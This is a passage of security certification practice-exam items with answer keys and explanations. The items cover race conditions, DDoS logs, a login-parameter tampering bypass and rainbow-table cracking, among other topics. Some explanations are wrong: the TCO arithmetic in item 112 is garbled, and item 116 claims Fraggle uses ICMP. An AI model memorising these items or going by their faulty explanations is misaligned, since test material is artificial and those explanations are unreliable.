Answer: A. A security baseline is the minimum level of security that a system, network, or device must adhere to. It is the initial point of reference for security and the document against which assessments would be done.

101. After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

A. Input validation

B. SQL injection

C. TOCTOU

D. Session hijacking

Answer: C. In this question, TOCTOU is being exploited to allow the user to modify the temp file that contains the price of the item.

In software development, time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition.

A simple example is as follows: Consider a Web application that allows a user to edit pages, and also allows administrators to lock pages to prevent editing. A user requests to edit a page, getting a form which can be used to alter its content. Before the user submits the form, an administrator locks the page, which should prevent editing. However, since editing has already begun, when the user submits the form, those edits (which have already been made) are accepted. When the user began editing, the appropriate authorization was checked, and the user was indeed allowed to edit. However, the authorization was used later, at a time when edits should no longer have been allowed.

TOCTOU race conditions are most common in Unix between operations on the file system, but can occur in other contexts, including local sockets and improper use of database transactions.

102. A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital's guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and require two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital's system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO).

A. Privacy could be compromised as patient records can be viewed in uncontrolled areas.

B. Device encryption has not been enabled and will result in a greater likelihood of data loss.

C. The guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data.

D. Malware may be on BYOD devices which can extract data via key logging and screen scrapes.

E. Remote wiping of devices should be enabled to ensure any lost device is rendered inoperable

Answer: A, D. Privacy could be compromised because patient records can be from a doctor's personal device. This can then be shown to persons not authorized to view this information. Similarly, the doctor's personal device could have malware on it.

103. At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

A. Add guests with more memory to increase capacity of the infrastructure.

B. A backup is running on the thin clients at 9am every morning.

C. Install more memory in the thin clients to handle the increased load while booting.

D. Booting all the lab desktops at the same time is creating excessive I/O.

E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.

F. Install faster SSD drives in the storage system used in the infrastructure.

G. The lab desktops are saturating the network while booting.

H. The lab desktops are using more memory than is available to the host systems.

Answer: D, F. The problem lasts for 10 minutes at 9am every day and has been traced to the lab desktops. This question is asking for the MOST likely cause of the problem. The most likely cause of the problem is that the lab desktops being started at the same time at the beginning of the day is causing excessive disk I/O as the operating systems are being read and loaded from disk storage.

The solution is to install faster SSD drives in the storage system that contains the desktop operating systems.

104. A new piece of ransomware got installed on a company's backup server which encrypted the hard drives containing the OS and backup application configuration but did not affect the deduplication data hard drives. During the incident response, the company finds that all backup tapes for this server are also corrupt. Which of the following is the PRIMARY concern?

A. Determining how to install HIPS across all server platforms to prevent future incidents

B. Preventing the ransomware from re-infecting the server upon restore

C. Validating the integrity of the deduplicated data

D. Restoring the data will be difficult without the application configuration

Answer: D. Ransomware is a type of malware that restricts access to a computer system that it infects in some way, and demands that the user pay a ransom to the operators of the malware to remove the restriction.

Since the backup application configuration is not accessible, it will require more effort to recover the data.

Eradication and Recovery is the fourth step of the incident response. It occurs before preventing future problems.

105. A security administrator is performing VDI traffic data collection on a virtual server which migrates from one host to another. While reviewing the data collected by the protocol analyzer, the security administrator notices that sensitive data is present in the packet capture. Which of the following should the security administrator recommend to ensure the confidentiality of sensitive information during live VM migration, while minimizing latency issues?

A. A separate physical interface placed on a private VLAN should be configured for live host operations.

B. Database record encryption should be used when storing sensitive information on virtual servers.

C. Full disk encryption should be enabled across the enterprise to ensure the confidentiality of sensitive data.

D. Sensitive data should be stored on a backend SAN which uses an isolated fiber channel network.

Answer: A. VDI virtual machines can be migrated across physical hosts while the virtual machines are still powered on. In VMware, this is called vMotion. In Microsoft Hyper-V, this is called Live Migration.

When a virtual machine is migrated between hosts, the data is unencrypted as it travels across the network. To prevent access to the data as it travels across the network, a dedicated network should be created for virtual machine migrations. The dedicated migration network should only be accessible by the virtual machine hosts to maximize security.

106. A Chief Financial Officer (CFO) has raised concerns with the Chief Information Security Officer (CISO) because money has been spent on IT security infrastructure, but corporate assets are still found to be vulnerable. The business recently funded a patch management product and SOE hardening initiative. A third party auditor reported findings against the business because some systems were missing patches. Which of the following statements BEST describes this situation?

A. The CFO is at fault because they are responsible for patching the systems and have already been given patch management and SOE hardening products.

B. The audit findings are invalid because remedial steps have already been applied to patch servers and the remediation takes time to complete.

C. The CISO has not selected the correct controls and the audit findings should be assigned to them instead of the CFO.

D. Security controls are generally never 100% effective and gaps should be explained to stakeholders and managed accordingly.

Answer: D. Security controls can never be run 100% effective and is mainly observed as a risk mitigation strategy thus the gaps should be explained to all stakeholders and managed accordingly.

107. Which of the following technologies prevents an unauthorized HBA from viewing iSCSI target information?

A. Deduplication

B. Data snapshots

C. LUN masking

D. Storage multipaths

Answer:C. A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN).

LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

108.An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?

A. Ensure the SaaS provider supports dual factor authentication.

B. Ensure the SaaS provider supports encrypted password transmission and storage.

C. Ensure the SaaS provider supports secure hash file exchange.

D. Ensure the SaaS provider supports role-based access control.

E. Ensure the SaaS provider supports directory services federation.

Answer: E. A SaaS application that has a federation server within the customer's network that interfaces with the customer's own enterprise user-directory service can provide single sign-on authentication. This federation server has a trust relationship with a corresponding federation server located within the SaaS provider's network.

Single sign-on will mitigate the risk of managing separate user credentials.

109. A company that must comply with regulations is searching for a laptop encryption product to use for its 40,000 end points. The product must meet regulations but also be flexible enough to minimize overhead and support in regards to password resets and lockouts. Which of the following implementations would BEST meet the needs?

A. A partition-based software encryption product with a low-level boot protection and authentication

B. A container-based encryption product that allows the end users to select which files to encrypt

C. A full-disk hardware-based encryption product with a low-level boot protection and authentication

D. A file-based encryption product using profiles to target areas on the file system to encrypt

Answer: D. The question is asking for a solution that will minimize overhead and support in regards to password resets and lockouts.

File based encryption products operate under the context of the computer user's user account. This means that the user does not need to remember a separate password for the encryption software. If the user forgets his user account password or is locked out due to failed login attempts, the support department can reset his password from a central database of user accounts (such as Active Directory) without the need to visit the user's computer.

Profiles can be used to determine areas on the file system to encrypt such as Document folders.

110. The finance department for an online shopping website has discovered that a number of customers were able to purchase goods and services without any payments. Further analysis conducted by the security investigations team indicated that the website allowed customers to update a payment amount for shipping. A specially crafted value could be entered and cause a roll over, resulting in the shipping cost being subtracted from the balance and in some instances resulted in a negative balance. As a result, the system processed the negative balance as zero dollars. Which of the following BEST describes the application issue?

A. Race condition

B. Click-jacking

C. Integer overflow

D. Use after free

E. SQL injection

Answer:C. Integer overflow errors can occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type's maximum value or less than its minimum value.

111. A large organization has recently suffered a massive credit card breach. During the months of Incident Response, there were multiple attempts to assign blame for whose fault it was that the incident occurred. In which part of the incident response phase would this be addressed in a controlled and productive manner?

A. During the Identification Phase

B. During the Lessons Learned phase

C. During the Containment Phase

D. During the Preparation Phase

Answer: B. The Lessons Learned phase is the final step in the Incident Response process, when everyone involved reviews what happened and why.

112. A Chief Information Security Officer (CISO) has requested that a SIEM solution be implemented. The CISO wants to know upfront what the projected TCO would be before looking further into this concern. Two vendor proposals have been received:

Vendor A: product-based solution which can be purchased by the pharmaceutical company.

Capital expenses to cover central log collectors, correlators, storage and management consoles expected to be $150,000. Operational expenses are expected to be a 0.5 full time employee (FTE) to manage the solution, and 1 full time employee to respond to incidents per year.

Vendor B: managed service-based solution which can be the outsourcer for the pharmaceutical company's needs.

Bundled offering expected to be $100,000 per year.

Operational expenses for the pharmaceutical company to partner with the vendor are expected to be a 0.5 FTE per year.

Internal employee costs are averaged to be $80,000 per year per FTE. Based on calculating TCO of the two vendor proposals over a 5 year period, which of the following options is MOST accurate?

A. Based on cost alone, having an outsourced solution appears cheaper.

B. Based on cost alone, having an outsourced solution appears to be more expensive.

C. Based on cost alone, both outsourced an in-sourced solutions appear to be the same.

D. Based on cost alone, having a purchased product solution appears cheaper.

Answer: A. The costs of making use of an outsources solution will actually be a savings for the company thus the outsourced solution is a cheaper option over a 5 year period because it amounts to 0,5 FTE per year for the company and at present the company expense if $80,000 per year per FTE.

For the company to go alone it will cost $80,000 per annum per FTE = $400,000 over 5 years.

With Vendor a $150,000 + $200,000 (1/2 FTE) = $350,000

With Vendor B = $100,000 it will be more expensive.

113. A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?

A. Encryption of each individual partition

B. Encryption of the SSD at the file level

C. FDE of each logical volume on the SSD

D. FDE of the entire SSD as a single disk

Answer: A. In this question, we have multiple operating system installations on a single disk. Some operating systems store their boot loader in the MBR of the disk. However, some operating systems install their boot loader outside the MBR especially when multiple operating systems are installed. We need to encrypt as much data as possible but we cannot encrypt the boot loaders. This would prevent the operating systems from loading.

Therefore, the solution is to encrypt each individual partition separately.

114. A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider's relationship?

A. Memorandum of Agreement

B. Interconnection Security Agreement

C. Non-Disclosure Agreement

D. Operating Level Agreement

Answer: B. The Interconnection Security Agreement (ISA) is a document that identifies the requirements for connecting systems and networks and details what security controls are to be used to protect the systems and sensitive data.

115. A network administrator with a company's NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company's physical security, which of the following can the network administrator use to detect the presence of a malicious actor physically accessing the company's network or information systems from within? (Select TWO).

A. RAS

B. Vulnerability scanner

C. HTTP intercept

D. HIDS

E. Port scanner

F. Protocol analyzer

Answer: D, F. A protocol analyzer can be used to capture and analyze signals and data traffic over a communication channel which makes it ideal for use to assess a company's network from within under the circumstances.

HIDS is used as an intrusion detection system that can monitor and analyze the internal company network especially the dynamic behavior and the state of the computer systems; behavior such as network packets targeted at that specific host, which programs accesses what resources etc.

116. The Information Security Officer (ISO) believes that the company has been targeted by cybercriminals and it is under a cyber attack. Internal services that are normally available to the public via the Internet are inaccessible, and employees in the office are unable to browse the Internet. The senior security engineer starts by reviewing the bandwidth at the border router, and notices that the incoming bandwidth on the router's external interface is maxed out. The security engineer then inspects the following piece of log to try and determine the reason for the downtime, focusing on the company's external router's IP which is 128.20.176.19:

11:16:22.110343 IP 90.237.31.27.19 > 128.20.176.19.19: UDP, length 1400

11:16:22.110351 IP 23.27.112.200.19 > 128.20.176.19.19: UDP, length 1400

11:16:22.110358 IP 192.200.132.213.19 > 128.20.176.19.19: UDP, length 1400

11:16:22.110402 IP 70.192.2.55.19 > 128.20.176.19.19: UDP, length 1400

11:16:22.110406 IP 112.201.7.39.19 > 128.20.176.19.19: UDP, length 1400

Which of the following describes the findings the senior security engineer should report to the ISO and the BEST solution for service restoration?

A. After the senior engineer used a network analyzer to identify an active Fraggle attack, the company's ISP should be contacted and instructed to block the malicious packets.

B. After the senior engineer used the above IPS logs to detect the ongoing DDOS attack, an IPS filter should be enabled to block the attack and restore communication.

C. After the senior engineer used a mirror port to capture the ongoing amplification attack, a BGP sinkhole should be configured to drop traffic at the source networks.

D. After the senior engineer used a packet capture to identify an active Smurf attack, an ACL should be placed on the company's external router to block incoming UDP port 19 traffic.

Answer: A. The exhibit displays logs that are indicative of an active fraggle attack. A Fraggle attack is similar to a smurf attack in that it is a denial of service attack, but the difference is that a fraggle attack makes use of ICMP and UDP ports 7 and 19. Thus when the senior engineer uses a network analyzer to identify the attack he should contact the company's ISP to block those malicious packets.

117. A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization's configuration management process using?

A. Agile

B. SDL

C. Waterfall

D. Joint application development

Answer: A. In agile software development, teams of programmers and business experts work closely together, using an iterative approach.

118. News outlets are beginning to report on a number of retail establishments that are experiencing payment card data breaches. The data exfiltration is enabled by malware on a compromised computer. After the initial exploit, network mapping and fingerprinting is conducted to prepare for further exploitation. Which of the following is the MOST effective solution to protect against unrecognized malware infections?

A. Remove local admin permissions from all users and change anti-virus to a cloud aware, push technology.

B. Implement an application whitelist at all levels of the organization.

C. Deploy a network based heuristic IDS, configure all layer 3 switches to feed data to the IDS for more effective monitoring.

D. Update router configuration to pass all network traffic through a new proxy server with advanced malware detection.

Answer:B. In essence a whitelist screening will ensure that only acceptable applications are passed / or granted access.

119. Which of the following provides the BEST risk calculation methodology?

A. Annual Loss Expectancy (ALE) x Value of Asset

B. Potential Loss x Event Probability x Control Failure Probability

C. Impact x Threat x Vulnerability

D. Risk Likelihood x Annual Loss Expectancy (ALE)

Answer:B. Of the options given, the BEST risk calculation methodology would be Potential Loss x Event Probability x Control Failure Probability. This exam is about computer and data security so 'loss' caused by risk is not necessarily a monetary value.

For example:

Potential Loss could refer to the data lost in the event of a data storage failure.

Event probability could be the risk a disk drive or drives failing.

Control Failure Probability could be the risk of the storage RAID not being able to handle the number of failed hard drives without losing data.

120. A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?

A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options.

B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any 'high' or 'critical' penetration test findings and put forward recommendations for mitigation.

C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.

D. Notify all customers about the threat to their hosted data. Bring the web servers down into "maintenance mode" until the vulnerability can be reliably mitigated through a vendor patch.

Answer:A. The first thing you should do is verify the reliability of the claims. From there you can assess the likelihood of the vulnerability affecting your systems. If it is determined that your systems are likely to be affected by the exploit, you need to determine what impact an attack will have on your hosted data. Now that you know what the impact will be, you can test the exploit by using the proof-of-concept code. That should help you determine your options for dealing with the threat (remediation).

121. A security auditor suspects two employees of having devised a scheme to steal money from the company. While one employee submits purchase orders for personal items, the other employee approves these purchase orders. The auditor has contacted the human resources director with suggestions on how to detect such illegal activities. Which of the following should the human resource director implement to identify the employees involved in these activities and reduce the risk of this activity occurring in the future?

A. Background checks

B. Job rotation

C. Least privilege

D. Employee termination procedures

Answer: B. Job rotation can reduce fraud or misuse by preventing an individual from having too much control over an area.

122. Ann is testing the robustness of a marketing website through an intercepting proxy. She has intercepted the following HTTP request:

POST /login.aspx HTTP/1.1

Host: comptia.org

Content-type: text/html

txtUsername=ann&txtPassword=ann&alreadyLoggedIn=false&submit=true

Which of the following should Ann perform to test whether the website is susceptible to a simple authentication bypass?

A. Remove all of the post data and change the request to /login.aspx from POST to GET

B. Attempt to brute force all usernames and passwords using a password cracker

C. Remove the txtPassword post data and change alreadyLoggedIn from false to true

D. Remove the txtUsername and txtPassword post data and toggle submit from true to false

Answer:C. The text "txtUsername=ann&txtPassword=ann" is an attempted login using a username of 'ann' and also a password of 'ann'.

The text "alreadyLoggedIn=false" is saying that Ann is not already logged in.

To test whether we can bypass the authentication, we can attempt the login without the password and we can see if we can bypass the 'alreadyloggedin' check by changing alreadyLoggedIn from false to true. If we are able to log in, then we have bypassed the authentication check.

123. Joe is a security architect who is tasked with choosing a new NIPS platform that has the ability to perform SSL inspection, analyze up to 10Gbps of traffic, can be centrally managed and only reveals inspected application payload data to specified internal security employees. Which of the following steps should Joe take to reach the desired outcome?

A. Research new technology vendors to look for potential products. Contribute to an RFP and then evaluate RFP responses to ensure that the vendor product meets all mandatory requirements. Test the product and make a product recommendation.

B. Evaluate relevant RFC and ISO standards to choose an appropriate vendor product. Research industry surveys, interview existing customers of the product and then recommend that the product be purchased.

C. Consider outsourcing the product evaluation and ongoing management to an outsourced provider on the basis that each of the requirements are met and a lower total cost of ownership (TCO) is achieved.

D. Choose a popular NIPS product and then consider outsourcing the ongoing device management to a cloud provider. Give access to internal security employees so that they can inspect the application payload data.

E. Ensure that the NIPS platform can also deal with recent technological advancements, such as threats emerging from social media, BYOD and cloud storage prior to purchasing the product.

Answer: A. A request for a Proposal (RFP) is in essence an invitation that you present to vendors asking them to submit proposals on a specific commodity or service. This should be evaluated, then the product should be tested and then a product recommendation can be made to achieve the desired outcome.

124. An organization has implemented an Agile development process for front end web application development. A new security architect has just joined the company and wants to integrate security activities into the SDLC.

Which of the following activities MUST be mandated to ensure code quality from a security perspective? (Select TWO).

A. Static and dynamic analysis is run as part of integration

B. Security standards and training is performed as part of the project

C. Daily stand-up meetings are held to ensure security requirements are understood

D. For each major iteration penetration testing is performed

E. Security requirements are story boarded and make it into the build

F. A security design is performed at the end of the requirements phase

Answer: A,D. SDLC stands for systems development life cycle. An agile project is completed in small sections called iterations. Each iteration is reviewed and critiqued by the project team. Insights gained from the critique of an iteration are used to determine what the next step should be in the project. Each project iteration is typically scheduled to be completed within two weeks.

Static and dynamic security analysis should be performed throughout the project. Static program analysis is the analysis of computer software that is performed without actually executing programs (analysis performed on executing programs is known as dynamic analysis). In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code.

For each major iteration penetration testing is performed. The output of a major iteration will be a functioning part of the application. This should be penetration tested to ensure security of the application.

125. An assessor identifies automated methods for identifying security control compliance through validating sensors at the endpoint and at Tier 2. Which of the following practices satisfy continuous monitoring of authorized information systems?

A. Independent verification and validation

B. Security test and evaluation

C. Risk assessment

D. Ongoing authorization

Answer: D. Ongoing assessment and authorization is often referred to as continuous monitoring. It is a process that determines whether the set of deployed security controls in an information system continue to be effective with regards to planned and unplanned changes that occur in the system and its environment over time.

Continuous monitoring allows organizations to evaluate the operating effectiveness of controls on or near a real-time basis. Continuous monitoring enables the enterprise to detect control failures quickly because it transpires immediately or closely after events in which the key controls are utilized.

126. An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?

A. Replicate NAS changes to the tape backups at the other datacenter.

B. Ensure each server has two HBAs connected through two routes to the NAS.

C. Establish deduplication across diverse storage paths.

D. Establish a SAN that replicates between datacenters.

Answer: D. A SAN is a Storage Area Network. It is an alternative to NAS storage. SAN replication is a technology that replicates the data on one SAN to another SAN; in this case, it would replicate the data to a SAN in the backup datacenter. In the event of a disaster, the SAN in the backup datacenter would contain all the data on the original SAN.

Array-based replication is an approach to data backup in which compatible storage arrays use built-in software to automatically copy data from one storage array to another. Array-based replication software runs on one or more storage controllers resident in disk storage systems, synchronously or asynchronously replicating data between similar storage array models at the logical unit number (LUN) or volume block level. The term can refer to the creation of local copies of data within the same array as the source data, as well as the creation of remote copies in an array situated off site.

127. A company provides on-demand cloud computing resources for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for customer access to the administrative website. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data from customer A was found on a hidden directory within the VM of company B. Company B is

not in the same industry as company A and the two are not competitors. Which of the following has MOST likely occurred?

A. Both VMs were left unsecured and an attacker was able to exploit network vulnerabilities to access each and move the data.

B. A stolen two factor token was used to move data from one virtual guest to another host on the same network segment.

C. A hypervisor server was left un-patched and an attacker was able to use a resource exhaustion attack to gain unauthorized access.

D. An employee with administrative access to the virtual guests was able to dump the guest memory onto a mapped disk.

Answer: A. In this question, two virtual machines have been accessed by an attacker. The question is asking what is MOST likely to have occurred.

It is common for operating systems to not be fully patched. Of the options given, the most likely occurrence is that the two VMs were not fully patched allowing an attacker to access each of them. The attacker could then copy data from one VM and hide it in a hidden folder on the other VM.

128. In a situation where data is to be recovered from an attacker's location, which of the following are the FIRST things to capture? (Select TWO).

A. Removable media

B. Passwords written on scrap paper

C. Snapshots of data on the monitor

D. Documents on the printer

E. Volatile system memory

F. System hard drive

Answer: C, E.

An exact copy of the attacker's system must be captured for further investigation so that the original data can remain unchanged. An analyst will then start the process of capturing data from the most volatile to the least volatile The order of volatility from most volatile to least volatile is as follows:

Data in RAM, including CPU cache and recently used data and applications

Data in RAM, including system and network processes

Swap files (also known as paging files) stored on local disk drives

Data stored on local disk drives

Logs stored on remote systems

Archive media

129. A security administrator has noticed that an increased number of employees' workstations are becoming infected with malware. The company deploys an enterprise antivirus system as well as a web content filter, which blocks access to malicious web sites where malware files can be downloaded. Additionally, the company implements technical measures to disable external storage. Which of the following is a technical control that the security administrator should implement next to reduce malware infection?

A. Implement an Acceptable Use Policy which addresses malware downloads.

B. Deploy a network access control system with a persistent agent.

C. Enforce mandatory security awareness training for all employees and contractors.

D. Block cloud-based storage software on the company network.

Answer: D. The question states that the company implements technical measures to disable external storage. This is storage such as USB flash drives and will help to ensure that the users to do not bring unauthorized data that could potentially contain malware into the network.

We should extend this by blocking cloud-based storage software on the company network. This would block access to cloud-based storage services such as Dropbox or OneDrive.

130. A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO's requirement?

A.GRC

B.IPS

C.CMDB

D.Syslog-ng

E.IDS

Answer: A. GRC is a discipline that aims to coordinate information and activity across governance, risk management and compliance with the purpose of operating more efficiently, enabling effective information sharing, more effectively reporting activities and avoiding wasteful overlaps. An integrated GRC (iGRC) takes data feeds from one or more sources that detect or sense abnormalities, faults or other patterns from security or business applications.

131. A pentester must attempt to crack passwords on a windows domain that enforces strong complex passwords. Which of the following would crack the MOST passwords in the shortest time period?

A. Online password testing

B. Rainbow tables attack

C. Dictionary attack

D. Brute force attack

Answer: B. The passwords in a Windows (Active Directory) domain are encrypted.

When a password is "tried" against a system it is "hashed" using encryption so that the actual password is never sent in clear text across the communications line. This prevents eavesdroppers from intercepting the password. The hash of a password usually looks like a bunch of garbage and is typically a different length than the original password. Your password might be "shitzu" but the hash of your password would look something like "7378347eedbfdd761619451949225ec1".

To verify a user, a system takes the hash value created by the password hashing function on the client computer and compares it to the hash value stored in a table on the server. If the hashes match, then the user is authenticated and granted access. Password cracking programs work in a similar way to the login process. The cracking program starts by taking plaintext passwords, running them through a hash algorithm, such as MD5, and then compares the hash output with the hashes in the stolen password file. If it finds a match then the program has cracked the password.

Rainbow Tables are basically huge sets of precomputed tables filled with hash values that are pre-matched to possible plaintext passwords. The Rainbow Tables essentially allow hackers to reverse the hashing function to determine what the plaintext password might be.

The use of Rainbow Tables allow for passwords to be cracked in a very short amount of time compared with brute-force methods, however, the trade-off is that it takes a lot of storage (sometimes Terabytes) to hold the Rainbow Tables themselves.

132. A company is in the process of implementing a new front end user interface for its customers, the goal is to provide them with more self-service functionality. The application has been written by developers over the last six months and the project is currently in the test phase.

Which of the following security activities should be implemented as part of the SDL in order to provide the MOST security coverage over the solution? (Select TWO).

A. Perform unit testing of the binary code

B. Perform code review over a sampling of the front end source code

C. Perform black box penetration testing over the solution

D. Perform grey box penetration testing over the solution

E. Perform static code review over the front end source code

Answer: D,E. With grey box penetration testing it means that you have limited insight into the devise which would most probable by some code knowledge and this type of testing over the solution would provide the most security coverage under the circumstances.

A Code review refers to the examination of an application (the new network based software product in this case) that is designed to identify and assess threats to the organization. With a static code review it is assumed that you have all the sources available for the application that is being examined. By performing a static code review over the front end source code you can provide adequate security coverage over the solution.

133. A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization's customer database. The database will be accessed by both the company's users and its customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select TWO).

A. Physical penetration test of the datacenter to ensure there are appropriate controls.

B. Penetration testing of the solution to ensure that the customer data is well protected.

C. Security clauses are implemented into the contract such as the right to audit.

D. Review of the organizations security policies, procedures and relevant hosting certifications.

E. Code review of the solution to ensure that there are no back doors located in the software.

Answer: C, D. Due diligence refers to an investigation of a business or person prior to signing a contract. Due diligence verifies information supplied by vendors with regards to processes, financials, experience, and performance. Due diligence should verify the data supplied in the RFP and concentrate on the following:

Company profile, strategy, mission, and reputation

Financial status, including reviews of audited financial statements

Customer references, preferably from companies that have outsourced similar processes

Management qualifications, including criminal background checks

Process expertise, methodology, and effectiveness

Quality initiatives and certifications

Technology, infrastructure stability, and applications

Security and audit controls

Legal and regulatory compliance, including any outstanding complaints or litigation

Use of subcontractors

Insurance

Disaster recovery and business continuity policies

C and D form part of Security and audit controls.

134. The DLP solution has been showing some unidentified encrypted data being sent using FTP to a remote server. A vulnerability scan found a collection of Linux servers that are missing OS level patches. Upon further investigation, a technician notices that there are a few unidentified processes running on a number of the servers. What would be a key FIRST step for the data security team to undertake at this point?

A. Capture process ID data and submit to anti-virus vendor for review.

B. Reboot the Linux servers, check running processes, and install needed patches.

C. Remove a single Linux server from production and place in quarantine.

D. Notify upper management of a security breach.

E. Conduct a bit level image, including RAM, of one or more of the Linux servers

Answer: E. Incident management (IM) is a necessary part of a security program. When effective, it mitigates business impact, identifies weaknesses in controls, and helps fine-tune response processes.

In this question, an attack has been identified and confirmed. When a server is compromised or used to commit a crime, it is often necessary to seize it for forensics analysis. Security teams often face two challenges when trying to remove a physical server from service: retention of potential evidence in volatile storage or removal of a device from a critical business process.

Evidence retention is a problem when the investigator wants to retain RAM content. For example, removing power from a server starts the process of mitigating business impact, but it also denies forensic analysis of data, processes, keys, and possible footprints left by an attacker.

A full a bit level image, including RAM should be taken of one or more of the Linux servers. In many cases, if your environment has been deliberately attacked, you may want to take legal action against the perpetrators. In order to preserve this option, you should gather evidence that can be used against them, even if a decision is ultimately made not to pursue such action. It is extremely important to back up the compromised systems as soon as possible. Back up the systems prior to performing any actions that could affect data integrity on the original media.

135. An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?

A. Access control lists

B. SELinux

C. IPtables firewall

D. HIPS

Answer:B. The most common open source operating system is LINUX.

Security-Enhanced Linux (SELinux) was created by the United States National Security Agency (NSA) and is a Linux kernel security module that provides a mechanism for supporting access control security policies, including United States Department of Defense–style mandatory access controls (MAC).

NSA Security-enhanced Linux is a set of patches to the Linux kernel and some utilities to incorporate a strong, flexible mandatory access control (MAC) architecture into the major subsystems of the kernel. It provides an enhanced mechanism to enforce the separation of information based on confidentiality and integrity requirements, which

allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the confinement of damage that can be caused by malicious or flawed applications.

136. A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).

A. Demonstration of IPS system

B. Review vendor selection process

C. Calculate the ALE for the event

D. Discussion of event timeline

E. Assigning of follow up items

Answer: D, E. Lessons learned process is the sixth step in the Incident Response process. Everybody that was involved in the process reviews what happened and why it happened. It is during this step that they determine what changes should be introduced to prevent future problems.

137. A security policy states that all applications on the network must have a password length of eight characters. There are three legacy applications on the network that cannot meet this policy. One system will be upgraded in six months, and two are not expected to be upgraded or removed from the network. Which of the following processes should be followed?

A. Establish a risk matrix

B. Inherit the risk for six months

C. Provide a business justification to avoid the risk

D. Provide a business justification for a risk exception

Answer: D. The Exception Request must include:

A description of the non-compliance.

The anticipated length of non-compliance (2-year maximum).

The proposed assessment of risk associated with non-compliance.

The proposed plan for managing the risk associated with non-compliance.

The proposed metrics for evaluating the success of risk management (if risk is significant).

The proposed review date to evaluate progress toward compliance.

An endorsement of the request by the appropriate Information Trustee (VP or Dean).

138. A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?

A. Insecure direct object references, CSRF, Smurf

B. Privilege escalation, Application DoS, Buffer overflow

C. SQL injection, Resource exhaustion, Privilege escalation

D. CSRF, Fault injection, Memory leaks

Answer: A. Insecure direct object references are used to access data. CSRF attacks the functions of a web site which could access data. A Smurf attack is used to take down a system.

A direct object reference is likely to occur when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key without any validation mechanism which will allow attackers to manipulate these references to access unauthorized data. Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user's Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.

